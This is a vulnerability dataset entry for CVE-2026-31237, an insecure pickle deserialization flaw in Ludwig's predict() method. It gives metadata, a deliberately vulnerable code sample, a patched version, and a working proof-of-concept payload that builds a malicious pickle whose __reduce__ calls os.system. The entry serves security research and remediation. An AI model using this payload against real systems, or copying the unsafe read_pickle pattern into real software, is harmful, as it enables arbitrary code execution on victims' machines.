VAITP Dataset

← Back to the dataset

CVE-2026-31237

Insecure deserialization of pickle files in Ludwig's predict() allows RCE.

  • CVSS 9.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) through its predict() method. When a user provides a dataset file path to the predict() method, the framework automatically determines the file format. If the file is a pickle (.pkl) file, it is loaded using pandas.read_pickle() without any validation or security restrictions. This allows the deserialization of arbitrary Python objects via the unsafe pickle module. A remote attacker can exploit this by providing a maliciously crafted pickle file, leading to arbitrary code execution on the system running the Ludwig prediction.

CVSS base score
9.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Ludwig
Fixed by upgrading
Yes

Solution

Upgrade to Ludwig version 0.10.5 or later.

Vulnerable code sample

import pandas as pd

def predict(dataset=None, **kwargs):
    """
    Simplified representation of the vulnerable predict method in Ludwig.
    It automatically determines file format based on the file path extension.
    """
    if isinstance(dataset, str) and dataset.endswith('.pkl'):
        # VULNERABILITY: pandas.read_pickle is called on a user-provided
        # file path without any validation, leading to insecure deserialization.
        data_df = pd.read_pickle(dataset)
    elif isinstance(dataset, str) and dataset.endswith('.csv'):
        # Example of handling a safe format
        data_df = pd.read_csv(dataset)
    else:
        # Handles other cases, like an in-memory DataFrame
        data_df = pd.DataFrame(dataset)

    # In the actual framework, prediction logic would execute here using data_df.
    # For this example, we simply return the loaded DataFrame.
    return data_df

Patched code sample

import pandas as pd
import os

def load_data_securely(dataset_path: str):
    """
    Represents the fixed data loading logic that would be used by the 
    predict() method. It prevents insecure deserialization of pickle files.
    """
    file_extension = os.path.splitext(dataset_path)[1].lower()

    if file_extension == ".pkl":
        # The fix is to explicitly disallow the loading of pickle files,
        # which are inherently insecure when from an untrusted source.
        # An exception is raised instead of calling pd.read_pickle().
        raise ValueError(
            "For security reasons, loading data from pickle files is not "
            "supported. Please use a safe format like Parquet, Feather, or CSV."
        )
    elif file_extension == ".csv":
        # Loading of safe formats proceeds as normal.
        return pd.read_csv(dataset_path)
    elif file_extension == ".parquet":
        return pd.read_parquet(dataset_path)
    else:
        # Handle other supported, safe file formats or raise an error.
        raise TypeError(f"Unsupported file format: {file_extension}")

Payload

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = 'touch /tmp/pwned'
        return os.system, (cmd,)

with open('malicious.pkl', 'wb') as file:
    pickle.dump(RCE(), file)

Cite this entry

@misc{vaitp:cve202631237,
  title        = {{Insecure deserialization of pickle files in Ludwig's predict() allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31237},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31237/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::